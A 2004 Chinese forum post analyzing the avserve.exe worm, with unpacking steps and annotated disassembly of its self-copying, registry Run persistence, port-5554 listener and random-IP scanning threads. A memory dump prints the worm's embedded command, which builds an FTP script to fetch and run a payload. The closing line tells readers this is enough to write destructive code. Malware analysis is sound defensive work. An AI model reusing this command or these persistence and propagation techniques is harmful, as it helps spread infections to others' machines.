標 題:avserve病毒初步分析!【原創】
看雪資料發表於2004-05-02
avserve病毒初步分析
作者:mejy【BCG】【FCG】【DFCG】【NUKE】【IPB】
宣告:本文僅供研究使用,任何人利用本文涉及的技術造成的不當後果由自己承擔!
由於本人第一次分析病毒,很多不正確的地方請各位大俠指正!!!
本人第一次寫本文時尚未有官方資料出來!有些地方肯定不是很準確!請諒解歡迎指正!
反彙編會發現輸入表只有幾個簡單的函式。
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD 用OD載入程式停在這裡。
載入時,提示是壓縮過得!檢測工具識別不出什麼殼,自己試著脫一下吧!在脫殼過程中感覺殼裡麵包含著殼自動
複製,傳播的程式碼!脫掉殼之後感覺其影響力要小多了!不知道對不對,先脫殼吧!
程式碼:
004027CE > B8 DD274000 MOV EAX,23918_up.004027DD 004027D3 8000 28 ADD BYTE PTR DS:[EAX],28 004027D6 40 INC EAX 004027D7 8100 67452301 ADD DWORD PTR DS:[EAX],1234567 //單步走到這裡,下面的程式碼改變 004027DD 90 NOP 004027DE A9 521DFF50 TEST EAX,50FF1D52 004027E3 64:FF35 00000000 PUSH DWORD PTR FS:[0] 004027EA 64:8925 00000000 MOV DWORD PTR FS:[0],ESP 004027F1 33C0 XOR EAX,EAX 004027F3 8908 MOV DWORD PTR DS:[EAX],ECX 變成: 004027CE > B8 DD274000 MOV EAX,23918_up.004027DD 004027D3 8000 28 ADD BYTE PTR DS:[EAX],28 004027D6 40 INC EAX 004027D7 8100 67452301 ADD DWORD PTR DS:[EAX],1234567 004027DD B8 10984000 MOV EAX,23918_up.00409810 在EAX的地址處設斷,然後SHIFT+F9 004027E2 50 PUSH EAX 004027E3 64:FF35 00000000 PUSH DWORD PTR FS:[0] 典型異常標誌 004027EA 64:8925 00000000 MOV DWORD PTR FS:[0],ESP 004027F1 33C0 XOR EAX,EAX 004027F3 8908 MOV DWORD PTR DS:[EAX],ECX 00409810 B8 B18740F0 MOV EAX,F04087B1 停在這裡 00409815 8D88 82100010 LEA ECX,DWORD PTR DS:[EAX+10001082] 0040981B 8941 01 MOV DWORD PTR DS:[ECX+1],EAX 0040981E 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4] 00409822 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C] 00409825 C602 E9 MOV BYTE PTR DS:[EDX],0E9 00409828 83C2 05 ADD EDX,5 0040982B 2BCA SUB ECX,EDX 0040982D 894A FC MOV DWORD PTR DS:[EDX-4],ECX 00409830 33C0 XOR EAX,EAX 00409832 C3 RETN 這裡返回系統空間,我用Ctrl+F9一直走到下面 00409833 B8 B18740F0 MOV EAX,F04087B1 也可以取消上面的斷點,再這裡設斷,然後單步走,程式可直接到達OEP 00409838 64:8F05 00000000 POP DWORD PTR FS:[0] 0040983F 83C4 04 ADD ESP,4 00409842 55 PUSH EBP 00409843 53 PUSH EBX 060010B5 8945 A0 MOV DWORD PTR SS:[EBP-60],EAX 這裡看見PE檔案頭部特徵。 060010B8 837D A0 00 CMP DWORD PTR SS:[EBP-60],0 060010BC 75 07 JNZ SHORT ApiHook.060010C5 060010BE 33C0 XOR EAX,EAX 060010C0 E9 92000000 JMP ApiHook.06001157 。。。第一次來到這裡 00340430 85C0 TEST EAX,EAX ; kernel32.ExitProcess 略 00340451 C9 LEAVE ××××××××××××××××××××××××××有一個迴圈,應該是處理IAT的 00340403 51 PUSH ECX IAT,輸入表USER32.DLL 00340404 FF93 8F120010 CALL DWORD PTR DS:[EBX+1000128F] LoadLibrary 0034040A 85C0 TEST EAX,EAX 0034040C 74 3A JE SHORT 00340448 0034040E 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 00340411 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4] 00340414 03D3 ADD EDX,EBX 00340416 8B7E 08 MOV EDI,DWORD PTR DS:[ESI+8] 00340419 03FB ADD EDI,EBX 0034041B 8B02 MOV EAX,DWORD PTR DS:[EDX] 0034041D 85C0 TEST EAX,EAX 0034041F 74 1A JE SHORT 0034043B 00340421 52 PUSH EDX 00340422 8B02 MOV EAX,DWORD PTR DS:[EDX] 00340424 03C3 ADD EAX,EBX 00340426 50 PUSH EAX 00340427 FF75 FC PUSH DWORD PTR SS:[EBP-4] 0034042A FF93 93120010 CALL DWORD PTR DS:[EBX+10001293] 00340430 85C0 TEST EAX,EAX 00340432 74 14 JE SHORT 00340448 00340434 AB STOS DWORD PTR ES:[EDI] 00340435 5A POP EDX 00340436 83C2 04 ADD EDX,4 00340439 ^EB E0 JMP SHORT 0034041B 走過上面來到這裡 003401C0 8B4E 2C MOV ECX,DWORD PTR DS:[ESI+2C] 003401C3 8B56 24 MOV EDX,DWORD PTR DS:[ESI+24] 003401C6 0356 08 ADD EDX,DWORD PTR DS:[ESI+8] 003401C9 6A 40 PUSH 40 003401CB 68 00100000 PUSH 1000 003401D0 51 PUSH ECX 003401D1 6A 00 PUSH 0 003401D3 FF12 CALL DWORD PTR DS:[EDX] 003401D5 8985 8B120010 MOV DWORD PTR SS:[EBP+1000128B],EAX 003401DB 56 PUSH ESI 這幾個函式是恢復輸入表的,應該。 003401DC E8 D7030000 CALL 003405B8 跟進去會發現,它會複製輸入表,和其他一些shell。 003401E1 56 PUSH ESI 003401E2 E8 DF040000 CALL 003406C6 003401E7 56 PUSH ESI 003401E8 E8 CB020000 CALL 003404B8 003401ED 56 PUSH ESI 003401EE E8 62020000 CALL 00340455 003401F3 8B4E 34 MOV ECX,DWORD PTR DS:[ESI+34] 003401F6 85C9 TEST ECX,ECX 一直F8單步來到下面地方 004098AE 8985 21110010 MOV DWORD PTR SS:[EBP+10001121],EAX ; 23918_up.<ModuleEntryPoint> 004098B4 8BF0 MOV ESI,EAX 004098B6 59 POP ECX 略調一部分 004098C9 59 POP ECX 004098CA 5B POP EBX 004098CB 5D POP EBP 004098CC FFE0 JMP EAX 這裡跳到新的OEP,和和原來載入的地址一樣。 004027CE > 55 PUSH EBP 這時入口點就變成了這樣了。 本人脫殼水平一般,理論的東西我就不班門弄赴了! 004027CF 8BEC MOV EBP,ESP 004027D1 6A FF PUSH -1 004027D3 68 28514000 PUSH 23918_up.00405128 到了入口點就可以DUMP程式了,然後用ImportREC修復一下,程式就脫殼成功。不過你在執行之前建議你先打上補丁。 脫下來了,我們們來分析一下該病毒的工作流程。 修復好之後用OD載入脫殼後的程式,看一下他的輸入表基本上就知道 他是如何工作的了。OD載入後,Ctrl+N搜尋當前模組中的名稱! 為了看清它的流程,我們F8單步,一步步的跟。忘了說了,這個病毒用VC寫的。 00402896 |. 50 PUSH EAX 這是VC程式執行特徵,F4到這裡 00402897 |. E8 4EF7FFFF CALL dumped_.00401FEA F7進入,要不然病毒就直接執行了 00401FEA /$ 55 PUSH EBP 進入上面的call 00401FEB |. 8BEC MOV EBP,ESP 00401FED |. 51 PUSH ECX 00401FEE |. 51 PUSH ECX 00401FEF |. 56 PUSH ESI 00401FF0 |. FF15 44504000 CALL DWORD PTR DS:[<&kernel32.GetTickCou>; [GetTickCount 上面是得到系統自啟動以來執行的時間。 00401FF6 |. 50 PUSH EAX 00401FF7 |. E8 22F0FFFF CALL dumped_.0040101E 上面的call作用是將時間儲存到記憶體[406F20]當中。 00401FFC |. 6A 01 PUSH 1 00401FFE |. E8 6E000000 CALL dumped_.00402071 ××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××× 跟進上面的call。看看它是幹什麼壞事的。 00402071 /$ 55 PUSH EBP 00402072 |. 8BEC MOV EBP,ESP 00402074 |. 81EC 24080000 SUB ESP,824 0040207A |. 56 PUSH ESI 0040207B |. BE 00040000 MOV ESI,400 00402080 |. 8D85 DCF7FFFF LEA EAX,DWORD PTR SS:[EBP-824] 00402086 |. 56 PUSH ESI ; /BufSize => 400 (1024.) 00402087 |. 50 PUSH EAX ; |PathBuffer 00402088 |. 6A 00 PUSH 0 ; |hModule = NULL 0040208A |. FF15 34504000 CALL DWORD PTR DS:[<&kernel32.GetModuleF>; \GetModuleFileNameA 得到程式控制程式碼 00402090 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 00402096 |. 56 PUSH ESI ; /BufSize => 400 (1024.) 00402097 |. 50 PUSH EAX ; |Buffer 00402098 |. FF15 4C504000 CALL DWORD PTR DS:[<&kernel32.GetWindows>; \GetWindowsDirectoryA 得到windows安裝目錄 0040209E |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 堆疊中是取得的目錄 004020A4 |. 50 PUSH EAX 004020A5 |. E8 96000000 CALL dumped_.00402140 這個函式幹什麼,沒明白好像沒多大作用 004020AA |. 80BC05 DBFBFFF>CMP BYTE PTR SS:[EBP+EAX-425],5C 004020B2 |. 59 POP ECX 004020B3 |. 5E POP ESI 004020B4 |. 74 13 JE SHORT dumped_.004020C9 004020B6 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 004020BC |. 68 B06A4000 PUSH dumped_.00406AB0 004020C1 |. 50 PUSH EAX 004020C2 |. E8 F9050000 CALL dumped_.004026C0 這裡進去看看慢慢的你看見記憶體中 004068C8 20 69 40 00 18 69 40 00 10 69 40 00 08 69 40 00 i@.i@.i@.i@. 004068D8 00 69 40 00 F8 68 40 00 F0 68 40 00 E8 68 40 00 .i@.h@.h@.h@. 004068E8 31 35 30 20 4F 4B 0A 00 32 30 30 20 4F 4B 0A 00 150 OK..200 OK.. 004068F8 32 32 36 20 4F 4B 0A 00 32 33 30 20 4F 4B 0A 00 226 OK..230 OK.. 00406908 33 33 31 20 4F 4B 0A 00 32 32 30 20 4F 4B 0A 00 331 OK..220 OK.. 00406918 61 76 73 65 72 76 65 00 61 76 73 65 72 76 65 2E avserve.avserve. 程式名 00406928 65 78 65 00 65 63 68 6F 20 6F 66 66 26 65 63 68 exe.echo off&ech 00406938 6F 20 6F 70 65 6E 20 25 73 20 35 35 35 34 3E 3E o open %s 5554>> 00406948 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 61 6E 6F cmd.ftp&echo ano 00406958 6E 79 6D 6F 75 73 3E 3E 63 6D 64 2E 66 74 70 26 nymous>>cmd.ftp& 00406968 65 63 68 6F 20 75 73 65 72 26 65 63 68 6F 20 62 echo user&echo b 00406978 69 6E 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F in>>cmd.ftp&echo 00406988 20 67 65 74 20 25 69 5F 75 70 2E 65 78 65 3E 3E get %i_up.exe>> 00406998 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 62 79 65 cmd.ftp&echo bye 004069A8 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 6F >>cmd.ftp&echo o 004069B8 6E 26 66 74 70 20 2D 73 3A 63 6D 64 2E 66 74 70 n&ftp -s:cmd.ftp 004069C8 26 25 69 5F 75 70 2E 65 78 65 26 65 63 68 6F 20 &%i_up.exe&echo 004069D8 6F 66 66 26 64 65 6C 20 63 6D 64 2E 66 74 70 26 off&del cmd.ftp& 004069E8 65 63 68 6F 20 6F 6E 0A 00 00 00 00 31 32 37 2E echo on.....127. 004069F8 30 2E 30 2E 31 00 00 00 25 73 25 63 00 00 00 00 0.0.1...%s%c.... 00406A08 5C 5C 25 73 5C 69 70 63 24 00 00 00 EB 06 \\%s\ipc$...?? 這個應該是幹壞事的東西吧(估計) 004026C0 /$ 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 省略一部分,大家可以自己跟進 0040271C |. EB 03 JMP SHORT dumped_.00402721 0040271E |> 8D79 FC LEA EDI,DWORD PTR DS:[ECX-4] 00402721 |> 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] avserve.exe病毒的另一副本名稱 00402725 |. F7C1 03000000 TEST ECX,3 省略一部分 0040279F \. C3 RETN 004020C7 |. 59 POP ECX 004020C8 |. 59 POP ECX 004020C9 |> FF35 C8684000 PUSH DWORD PTR DS:[4068C8] ; dumped_.00406920 004020CF |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 004020D5 |. 50 PUSH EAX 004020D6 |. E8 E5050000 CALL dumped_.004026C0 004020DB |. 807D 08 00 CMP BYTE PTR SS:[EBP+8],0 004020DF |. 59 POP ECX 004020E0 |. 59 POP ECX 004020E1 |. 74 16 JE SHORT dumped_.004020F9 這裡判斷你的Windows安裝目錄下面有沒有avserve.exe檔案沒有下面就複製 004020E3 |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 004020E9 |. 6A 00 PUSH 0 ; /FailIfExists = FALSE 004020EB |. 50 PUSH EAX ; |NewFileName 004020EC |. 8D85 DCF7FFFF LEA EAX,DWORD PTR SS:[EBP-824] ; | 004020F2 |. 50 PUSH EAX ; |ExistingFileName 004020F3 |. FF15 48504000 CALL DWORD PTR DS:[<&kernel32.CopyFileA>>; \CopyFileA 自動複製 004020F9 |> 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 004020FC |. 50 PUSH EAX ; /pHandle 004020FD |. 68 806A4000 PUSH dumped_.00406A80 ; |Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 00402102 |. 68 02000080 PUSH 80000002 ; |hKey = HKEY_LOCAL_MACHINE 00402107 |. FF15 04504000 CALL DWORD PTR DS:[<&advapi32.RegOpenKey>; \RegOpenKeyA 這裡很明顯了改你的登錄檔,使程式自己開機自動執行 0040210D |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] 00402113 |. 50 PUSH EAX 00402114 |. E8 27000000 CALL dumped_.00402140 00402119 |. 59 POP ECX 0040211A |. 50 PUSH EAX ; /BufSize 0040211B |. 8D85 DCFBFFFF LEA EAX,DWORD PTR SS:[EBP-424] ; | 00402121 |. 50 PUSH EAX ; |Buffer 00402122 |. 6A 01 PUSH 1 ; |ValueType = REG_SZ 00402124 |. 6A 00 PUSH 0 ; |Reserved = 0 00402126 |. FF35 C8684000 PUSH DWORD PTR DS:[4068C8] ; |ValueName = "avserve.exe" 0040212C |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hKey 0040212F |. FF15 08504000 CALL DWORD PTR DS:[<&advapi32.RegSetValu>; \RegSetValueExA 00402135 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /hKey 00402138 |. FF15 0C504000 CALL DWORD PTR DS:[<&advapi32.RegCloseKe>; \RegCloseKey 0040213E |. C9 LEAVE 0040213F \. C3 RETN 這裡就完了。回去下面幹壞事了 ××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××× 00402003 |. 59 POP ECX 00402004 |. 59 POP ECX 00402005 |. E8 1EF0FFFF CALL dumped_.00401028 0040200A |. 33F6 XOR ESI,ESI 0040200C |. 68 746A4000 PUSH dumped_.00406A74 ; /MutexName = "Jobaka3l" 00402011 |. 56 PUSH ESI ; |InitialOwner => FALSE 00402012 |. 56 PUSH ESI ; |pSecurity => NULL 00402013 |. FF15 40504000 CALL DWORD PTR DS:[<&kernel32.CreateMute>; \CreateMutexA 建立一個訊號量,目的何在? 00402019 |. FF15 3C504000 CALL DWORD PTR DS:[<&kernel32.GetLastErr>; [GetLastError 0040201F |. 3D B7000000 CMP EAX,0B7 00402024 |. 75 07 JNZ SHORT dumped_.0040202D 這裡如果跳的話,病毒就要開始發威了 00402026 |. 33C0 XOR EAX,EAX 00402028 |. 5E POP ESI 00402029 |. C9 LEAVE 0040202A |. C2 1000 RETN 10 0040202D |> 53 PUSH EBX 0040202E |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 00402031 |. 57 PUSH EDI 00402032 |. 8B3D 38504000 MOV EDI,DWORD PTR DS:[<&kernel32.CreateT>; KERNEL32.CreateThread 建立執行緒了 00402038 |. 50 PUSH EAX ; /pThreadId 00402039 |. 56 PUSH ESI ; |CreationFlags 0040203A |. 56 PUSH ESI ; |pThreadParm 0040203B |. 68 6A1E4000 PUSH dumped_.00401E6A ; |ThreadFunction = dumped_.00401E6A 執行緒函式的種子函式 00402040 |. 56 PUSH ESI ; |StackSize 00402041 |. 56 PUSH ESI ; |pSecurity 00402042 |. FFD7 CALL EDI ; \CreateThread 00402044 |. BB 80000000 MOV EBX,80 迴圈建立0x80=128個執行緒 00402049 |> 8D45 F8 /LEA EAX,DWORD PTR SS:[EBP-8] 0040204C |. 50 |PUSH EAX 0040204D |. 56 |PUSH ESI 0040204E |. 56 |PUSH ESI 0040204F |. 68 F51E4000 |PUSH dumped_.00401EF5 00402054 |. 56 |PUSH ESI 00402055 |. 56 |PUSH ESI 00402056 |. FFD7 |CALL EDI 00402058 |. 4B |DEC EBX 迴圈建立 00402059 |.^75 EE \JNZ SHORT dumped_.00402049 到這裡你不防改一下!不用它來128個了,一個就夠你分析了 0040205B |. 5F POP EDI 0040205C |. 5B POP EBX 0040205D |> 56 PUSH ESI ; /MachineName 0040205E |. FF15 00504000 CALL DWORD PTR DS:[<&advapi32.AbortSyste>; \AbortSystemShutdownA 用這個函式關機。 00402064 |. 68 B80B0000 PUSH 0BB8 ; /Timeout = 3000. ms 00402069 |. FF15 1C504000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; \Sleep 睡它一會 它睡得時候好像也沒消停,去執行緒函式那裡執行去了 0040206F \.^EB EC JMP SHORT dumped_.0040205D 執行緒函式 00401E6A /. 55 PUSH EBP 00401E6B |. 8BEC MOV EBP,ESP 00401E6D |. 83EC 14 SUB ESP,14 00401E70 |. 56 PUSH ESI 00401E71 |. 33F6 XOR ESI,ESI 00401E73 |. 57 PUSH EDI 00401E74 |. 56 PUSH ESI ; /Protocol => IPPROTO_IP 00401E75 |. 6A 01 PUSH 1 ; |Type = SOCK_STREAM 00401E77 |. 6A 02 PUSH 2 ; |Family = AF_INET 00401E79 |. FF15 F0504000 CALL DWORD PTR DS:[<&ws2_32.socket>] ; \socket 建立socket 00401E7F |. 8BF8 MOV EDI,EAX 00401E81 |. 83FF FF CMP EDI,-1 00401E84 |. 75 08 JNZ SHORT dumped_.00401E8E 00401E86 |> 5F POP EDI 00401E87 |. 33C0 XOR EAX,EAX 00401E89 |. 5E POP ESI 00401E8A |. C9 LEAVE 00401E8B |. C2 0400 RETN 4 00401E8E |> 68 B2150000 PUSH 15B2 ; /NetShort = 15B2 00401E93 |. 66:C745 EC 020>MOV WORD PTR SS:[EBP-14],2 ; | 00401E99 |. FF15 EC504000 CALL DWORD PTR DS:[<&ws2_32.htons>] ; \ntohs 這個函式好像是做埠轉換的吧, 網路程式設計偶不行的說 00401E9F |. 66:8945 EE MOV WORD PTR SS:[EBP-12],AX 00401EA3 |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 00401EA6 |. 6A 10 PUSH 10 ; /AddrLen = 10 (16.) 00401EA8 |. 50 PUSH EAX ; |pSockAddr 00401EA9 |. 57 PUSH EDI ; |Socket 00401EAA |. 8975 F0 MOV DWORD PTR SS:[EBP-10],ESI ; | 00401EAD |. FF15 18514000 CALL DWORD PTR DS:[<&ws2_32.bind>] ; \bind 繫結一個socket 00401EB3 |. 83F8 FF CMP EAX,-1 00401EB6 |. 74 0E JE SHORT dumped_.00401EC6 00401EB8 |. 6A 05 PUSH 5 ; /Backlog = 5 00401EBA |. 57 PUSH EDI ; |Socket 00401EBB |. FF15 FC504000 CALL DWORD PTR DS:[<&ws2_32.listen>] ; \listen 監聽,佇列長度是5 網路牛人們知道是幹嗎的 00401EC1 |. 83F8 FF CMP EAX,-1 這裡跳到下面去 , 00401EC4 |. 75 09 JNZ SHORT dumped_.00401ECF 00401EC6 |> 57 PUSH EDI ; /Socket 00401EC7 |. FF15 00514000 CALL DWORD PTR DS:[<&ws2_32.closesocket>>; \closesocket 關閉socket 幹完壞事,還沒忘這個! 00401ECD |.^EB B7 JMP SHORT dumped_.00401E86 從上面跳到下面 00401ECF |> 56 /PUSH ESI ; /pAddrLen 00401ED0 |. 56 |PUSH ESI ; |pSockAddr 00401ED1 |. 57 |PUSH EDI ; |Socket 00401ED2 |. FF15 E4504000 |CALL DWORD PTR DS:[<&ws2_32.accept>] ; \accept 接受連線吧這裡應該忘了 程式到了這裡,不動了,沒法向下除錯了,因為我沒找到目標 不過往下看看就知道了,應該是產生IP地址並試圖攻擊。具體怎麼作我不分析了。說多了不好。 00401ED8 |. 8D4D FC |LEA ECX,DWORD PTR SS:[EBP-4] 00401EDB |. 51 |PUSH ECX ; /pThreadId 00401EDC |. 56 |PUSH ESI ; |CreationFlags 00401EDD |. 50 |PUSH EAX ; |pThreadParm 00401EDE |. 68 031B4000 |PUSH dumped_.00401B03 ; |ThreadFunction = dumped_.00401B03 00401EE3 |. 56 |PUSH ESI ; |StackSize 00401EE4 |. 56 |PUSH ESI ; |pSecurity 00401EE5 |. FF15 38504000 |CALL DWORD PTR DS:[<&kernel32.CreateThr>; \CreateThread 00401EEB |. 6A 19 |PUSH 19 ; /Timeout = 25. ms 00401EED |. FF15 1C504000 |CALL DWORD PTR DS:[<&kernel32.Sleep>] ; \Sleep 00401EF3 \.^EB DA \JMP SHORT dumped_.00401ECF 00401EF5 . 83EC 54 SUB ESP,54 00401EF8 . 53 PUSH EBX 00401EF9 . 55 PUSH EBP 00401EFA . 8B2D DC504000 MOV EBP,DWORD PTR DS:[<&user32.wsprintfA>; user32.wsprintfA 這裡再省略一部分 00401FBB . 8BCE MOV ECX,ESI 00401FBD . F7F9 IDIV ECX 00401FBF . 52 PUSH EDX 00401FC0 > 8D4424 20 LEA EAX,DWORD PTR SS:[ESP+20] 00401FC4 . 68 4C6A4000 PUSH dumped_.00406A4C ; ASCII "%i.%i.%i.%i" IP地址的格式喲 00401FC9 . 50 PUSH EAX 00401FCA . FFD5 CALL EBP 00401FCC . 83C4 18 ADD ESP,18 00401FCF . 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10] 00401FD3 . 50 PUSH EAX 00401FD4 . E8 39FAFFFF CALL dumped_.00401A12 00401FD9 . 59 POP ECX 00401FDA . 68 FA000000 PUSH 0FA ; /Timeout = 250. ms 00401FDF . FF15 1C504000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; \Sleep 這麼快就幹壞事 00401FE5 .^E9 1DFFFFFF JMP dumped_.00401F07
至此,分析完畢!至於病毒如何利用漏洞來實現shell的,本人水平有限和一些原因不分析了,有興趣的自己研究
最後申明,到這裡大家自己寫一個破壞系統的程式已經足夠了!不過由此引發的後果本人不負責任!
寫完感覺有點班門弄斧之閒!不過畢竟是我第一次分析病毒,願和大家共享!病毒原來如此簡單!
轉載請保持完整性!
相關文章
- 【原創】對Rav
2005中HOOK的初步分析2004-12-07Hook
- 【原創】Winamp標題欄中文亂碼原因分析及修正2004-12-12
- [原創]■■易格式初步研究筆記■■2004-11-01筆記
- [原創]Stuxnet蠕蟲(超級工廠病毒)驅動分析2010-11-20UX
- 新冠病毒風險展望:初步分析及其影響報告2020-05-20
- [原創]Adobe reader 漏洞CVE-2009-4324初步分析2010-01-10
- [原創]事件分析 | Linux watchdogs 感染性隱藏挖礦病毒入侵還原錄2020-09-03事件Linux
- 位運算解決多標籤問題【原創】2019-05-19
- 【原創】淺談指標(一)2021-10-03指標
- 【原創】淺談指標(二)2021-10-04指標
- 【原創】淺談指標(三)2021-10-04指標
- 【原創】淺談指標(四)2021-10-05指標
- 【原創】JSP標籤簡介2008-09-04JS
- [原創] KCP 原始碼分析(上)2024-03-15原始碼
- [原創]App效能測試指標篇2014-09-04APP指標
- 病毒逆向分析2018-03-18
- 【原創】淺談指標(十三)指向陣列的指標2022-05-10指標陣列
- [原創]破解-分析Crackme演算法2009-06-13演算法
- 【原創】需求分析之用例規模2010-01-13
- 每週精選+原創題2024-06-03
- 【原創】淺談指標(十一)alloca函式2022-03-26指標函式
- Statspack初步學和用第三篇 分析初步2007-09-24
- UcHelp 病毒分析 By Cater2015-11-15
- 【原創】Oracle RAC故障分析與處理2013-07-18Oracle
- Alex-protect外殼完全分析【原創】2004-12-07
- [原創]發一個批量檢測xcode ghost病毒的檢測工具2015-09-19XCode
- 【原創】淺談指標(十二)關於static(上)2022-04-24指標
- [原創] Linux ptrace詳細分析系列(一)2021-02-02Linux
- 【原創】Linux PCI驅動框架分析(一)2020-12-20Linux框架
- 【原創】Linux PCI驅動框架分析(二)2020-12-29Linux框架
- 原創:oracle data block 內部結構分析2011-09-27OracleBloC
- 原創-XNview v1.65演算法分析2015-11-15View演算法
- 叛逃者病毒分析(轉)2007-08-12
- Synaptics 蠕蟲病毒分析2024-11-21APT
- 自媒體創作好標題的4項原則,大多數人都不知道2022-06-09
- Hollis原創|深入分析Java的編譯原理2019-05-14Java編譯原理
- 【原創】ORACLE 資料分析和動態取樣2014-08-12Oracle
- 【原創】Oracle execute plan 原理分析與例項分享2012-12-13Oracle